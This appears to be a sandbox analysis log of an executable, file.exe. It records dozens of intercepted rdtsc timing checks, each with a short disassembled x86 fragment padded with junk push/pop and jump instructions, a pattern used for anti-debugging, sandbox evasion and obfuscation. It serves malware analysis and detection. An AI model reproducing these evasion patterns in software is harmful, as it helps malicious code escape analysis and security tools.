Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4B262 second address: E4B268 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4B53D second address: E4B541 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4B541 second address: E4B564 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 pushad 0x00000009 jmp 00007F47DCFB8A42h 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 popad 0x00000011 pushad 0x00000012 pushad 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4B564 second address: CA1C93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 nop 0x00000007 push dword ptr [ebp+122D1711h] 0x0000000d add dword ptr [ebp+122D2B90h], edx 0x00000013 call dword ptr [ebp+122D2B9Bh] 0x00000019 pushad 0x0000001a jmp 00007F47DD40FB7Eh 0x0000001f stc 0x00000020 xor eax, eax 0x00000022 mov dword ptr [ebp+122D2A10h], ebx 0x00000028 mov edx, dword ptr [esp+28h] 0x0000002c cmc 0x0000002d mov dword ptr [ebp+122D2F36h], eax 0x00000033 pushad 0x00000034 jmp 00007F47DD40FB88h 0x00000039 jnp 00007F47DD40FB78h 0x0000003f pushad 0x00000040 popad 0x00000041 popad 0x00000042 mov dword ptr [ebp+122D2A10h], eax 0x00000048 mov esi, 0000003Ch 0x0000004d sub dword ptr [ebp+122D3984h], ebx 0x00000053 add esi, dword ptr [esp+24h] 0x00000057 sub dword ptr [ebp+122D2B79h], edx 0x0000005d cmc 0x0000005e lodsw 0x00000060 mov dword ptr [ebp+122D3984h], edi 0x00000066 add eax, dword ptr [esp+24h] 0x0000006a jl 00007F47DD40FB7Ch 0x00000070 or dword ptr [ebp+122D1A7Ch], eax 0x00000076 mov ebx, dword ptr [esp+24h] 0x0000007a jnl 00007F47DD40FB84h 0x00000080 nop 0x00000081 jnc 00007F47DD40FB84h 0x00000087 push eax 0x00000088 pushad 0x00000089 push eax 0x0000008a push edx 0x0000008b jmp 00007F47DD40FB80h 0x00000090 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4B68D second address: E4B694 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4B694 second address: E4B6DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a jmp 00007F47DD40FB80h 0x0000000f pop eax 0x00000010 pushad 0x00000011 push edi 0x00000012 pop edi 0x00000013 jbe 00007F47DD40FB76h 0x00000019 popad 0x0000001a popad 0x0000001b mov eax, dword ptr [esp+04h] 0x0000001f push edx 0x00000020 jnl 00007F47DD40FB78h 0x00000026 pop edx 0x00000027 mov eax, dword ptr [eax] 0x00000029 push eax 0x0000002a push edx 0x0000002b pushad 0x0000002c pushad 0x0000002d popad 0x0000002e jmp 00007F47DD40FB7Bh 0x00000033 popad 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4B6DB second address: E4B6FB instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jl 00007F47DCFB8A36h 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp+04h], eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F47DCFB8A3Eh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4B6FB second address: E4B786 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F47DD40FB7Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a mov dword ptr [ebp+122D3B06h], edx 0x00000010 call 00007F47DD40FB79h 0x00000015 jmp 00007F47DD40FB87h 0x0000001a push eax 0x0000001b jmp 00007F47DD40FB89h 0x00000020 mov eax, dword ptr [esp+04h] 0x00000024 jmp 00007F47DD40FB80h 0x00000029 mov eax, dword ptr [eax] 0x0000002b jmp 00007F47DD40FB80h 0x00000030 mov dword ptr [esp+04h], eax 0x00000034 push eax 0x00000035 push edx 0x00000036 jmp 00007F47DD40FB7Fh 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4B87E second address: E4B89C instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push edi 0x00000008 pop edi 0x00000009 push edx 0x0000000a pop edx 0x0000000b popad 0x0000000c popad 0x0000000d xchg eax, esi 0x0000000e mov edi, dword ptr [ebp+122D2DFEh] 0x00000014 push eax 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 jp 00007F47DCFB8A36h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4BFAB second address: E4BFAF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4BFAF second address: E4C00A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jnp 00007F47DCFB8A36h 0x0000000d pushad 0x0000000e popad 0x0000000f popad 0x00000010 popad 0x00000011 push eax 0x00000012 push edi 0x00000013 pushad 0x00000014 push eax 0x00000015 pop eax 0x00000016 pushad 0x00000017 popad 0x00000018 popad 0x00000019 pop edi 0x0000001a nop 0x0000001b mov ecx, dword ptr [ebp+122D2CDAh] 0x00000021 sub edi, 02BD80DCh 0x00000027 push 0000001Eh 0x00000029 push 00000000h 0x0000002b push ebx 0x0000002c call 00007F47DCFB8A38h 0x00000031 pop ebx 0x00000032 mov dword ptr [esp+04h], ebx 0x00000036 add dword ptr [esp+04h], 0000001Dh 0x0000003e inc ebx 0x0000003f push ebx 0x00000040 ret 0x00000041 pop ebx 0x00000042 ret 0x00000043 mov cx, ax 0x00000046 push eax 0x00000047 pushad 0x00000048 push eax 0x00000049 push edx 0x0000004a jc 00007F47DCFB8A36h 0x00000050 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4C39E second address: E4C404 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F47DD40FB78h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f push 00000000h 0x00000011 push ebx 0x00000012 call 00007F47DD40FB78h 0x00000017 pop ebx 0x00000018 mov dword ptr [esp+04h], ebx 0x0000001c add dword ptr [esp+04h], 00000017h 0x00000024 inc ebx 0x00000025 push ebx 0x00000026 ret 0x00000027 pop ebx 0x00000028 ret 0x00000029 mov ecx, ebx 0x0000002b lea eax, dword ptr [ebp+1247CD89h] 0x00000031 push 00000000h 0x00000033 push edi 0x00000034 call 00007F47DD40FB78h 0x00000039 pop edi 0x0000003a mov dword ptr [esp+04h], edi 0x0000003e add dword ptr [esp+04h], 0000001Ah 0x00000046 inc edi 0x00000047 push edi 0x00000048 ret 0x00000049 pop edi 0x0000004a ret 0x0000004b mov dx, bx 0x0000004e nop 0x0000004f push eax 0x00000050 push edx 0x00000051 jo 00007F47DD40FB7Ch 0x00000057 push eax 0x00000058 push edx 0x00000059 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4C404 second address: E4C408 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4C408 second address: E4C45E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F47DD40FB80h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jne 00007F47DD40FB7Ah 0x00000010 nop 0x00000011 mov dword ptr [ebp+122D39ACh], eax 0x00000017 lea eax, dword ptr [ebp+1247CD45h] 0x0000001d push 00000000h 0x0000001f push edi 0x00000020 call 00007F47DD40FB78h 0x00000025 pop edi 0x00000026 mov dword ptr [esp+04h], edi 0x0000002a add dword ptr [esp+04h], 0000001Bh 0x00000032 inc edi 0x00000033 push edi 0x00000034 ret 0x00000035 pop edi 0x00000036 ret 0x00000037 push eax 0x00000038 push eax 0x00000039 pushad 0x0000003a push esi 0x0000003b pop esi 0x0000003c push eax 0x0000003d push edx 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4C45E second address: E324B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 movzx edi, di 0x0000000c call dword ptr [ebp+122D3A28h] 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 jbe 00007F47DCFB8A36h 0x0000001b pop eax 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E324B7 second address: E324BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E324BB second address: E324D5 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jmp 00007F47DCFB8A44h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E324D5 second address: E324DF instructions: 0x00000000 rdtsc 0x00000002 jp 00007F47DD40FB7Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8B965 second address: E8B985 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jmp 00007F47DCFB8A46h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8B985 second address: E8B98F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F47DD40FB76h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8B98F second address: E8B9A8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F47DCFB8A3Bh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jng 00007F47DCFB8A36h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8BC93 second address: E8BC9F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007F47DD40FB76h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8BC9F second address: E8BCA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8BCA3 second address: E8BCAE instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E93AC1 second address: E93ADB instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F47DCFB8A42h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E93EAE second address: E93EB4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9406F second address: E94073 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E94073 second address: E9407D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9407D second address: E94095 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F47DCFB8A3Eh 0x00000007 je 00007F47DCFB8A36h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E94095 second address: E940A6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jg 00007F47DD40FB76h 0x00000009 jbe 00007F47DD40FB76h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9432A second address: E94333 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E94333 second address: E9433A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ebx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E94634 second address: E94638 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E948E8 second address: E948FA instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jnp 00007F47DD40FB76h 0x00000009 pop esi 0x0000000a push eax 0x0000000b push edx 0x0000000c jng 00007F47DD40FB76h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E948FA second address: E948FE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9892E second address: E98942 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F47DD40FB76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F47DD40FB7Ah 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E98ABE second address: E98ACE instructions: 0x00000000 rdtsc 0x00000002 jl 00007F47DCFB8A36h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E98D60 second address: E98D64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9B576 second address: E9B582 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F47DCFB8A36h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9B582 second address: E9B5B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 je 00007F47DD40FB76h 0x0000000e popad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F47DD40FB86h 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a popad 0x0000001b push edx 0x0000001c pop edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9B5B0 second address: E9B5B6 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9B5B6 second address: E9B5BC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9B140 second address: E9B146 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9B146 second address: E9B14B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9B14B second address: E9B155 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F47DCFB8A4Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9B2DE second address: E9B2F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 pushad 0x00000007 jmp 00007F47DD40FB7Eh 0x0000000c push eax 0x0000000d push edx 0x0000000e push edx 0x0000000f pop edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA00FB second address: EA00FF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA00FF second address: EA0120 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F47DD40FB89h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA0120 second address: EA0139 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F47DCFB8A45h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E05DA4 second address: E05DAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E05DAA second address: E05DB8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edi 0x00000006 pushad 0x00000007 popad 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edi 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E05DB8 second address: E05DD5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F47DD40FB87h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9F874 second address: E9F87A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9FE48 second address: E9FE4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9FE4D second address: E9FE59 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007F47DCFB8A36h 0x0000000a push eax 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA5DA1 second address: EA5DA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA466D second address: EA468E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F47DCFB8A44h 0x00000009 popad 0x0000000a jnc 00007F47DCFB8A47h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA468E second address: EA469D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F47DD40FB7Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA469D second address: EA46C1 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F47DCFB8A3Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jmp 00007F47DCFB8A40h 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA498E second address: EA499A instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F47DD40FB76h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA4F1A second address: EA4F24 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007F47DCFB8A36h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA4F24 second address: EA4F49 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jl 00007F47DD40FB76h 0x0000000e jmp 00007F47DD40FB87h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA4F49 second address: EA4F4D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0E23A second address: E0E240 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0E240 second address: E0E244 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0E244 second address: E0E26E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F47DD40FB81h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F47DD40FB85h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0E26E second address: E0E2A6 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jnp 00007F47DCFB8A6Ah 0x0000000e jns 00007F47DCFB8A50h 0x00000014 push eax 0x00000015 push edx 0x00000016 jl 00007F47DCFB8A36h 0x0000001c push edx 0x0000001d pop edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0E2A6 second address: E0E2AA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA9218 second address: EA921E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA921E second address: EA923C instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007F47DD40FB86h 0x00000008 pop ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b push edi 0x0000000c pop edi 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA9A94 second address: EA9A98 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA9A98 second address: EA9A9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA9A9E second address: EA9AA3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA9AA3 second address: EA9ADD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F47DD40FB76h 0x0000000a jmp 00007F47DD40FB82h 0x0000000f push esi 0x00000010 pop esi 0x00000011 popad 0x00000012 pushad 0x00000013 jo 00007F47DD40FB76h 0x00000019 jmp 00007F47DD40FB7Ch 0x0000001e popad 0x0000001f pop edx 0x00000020 pop eax 0x00000021 pushad 0x00000022 push eax 0x00000023 push edx 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA9ADD second address: EA9AE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA9AE3 second address: EA9AFF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F47DD40FB82h 0x0000000b push eax 0x0000000c push edx 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA9AFF second address: EA9B03 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA9B03 second address: EA9B0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA9B0D second address: EA9B11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB0306 second address: EB030A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB030A second address: EB0310 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB08E7 second address: EB0903 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007F47DD40FB87h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB0903 second address: EB090D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB0C05 second address: EB0C0A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB2013 second address: EB2019 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB577B second address: EB5792 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F47DD40FB7Fh 0x00000009 push eax 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
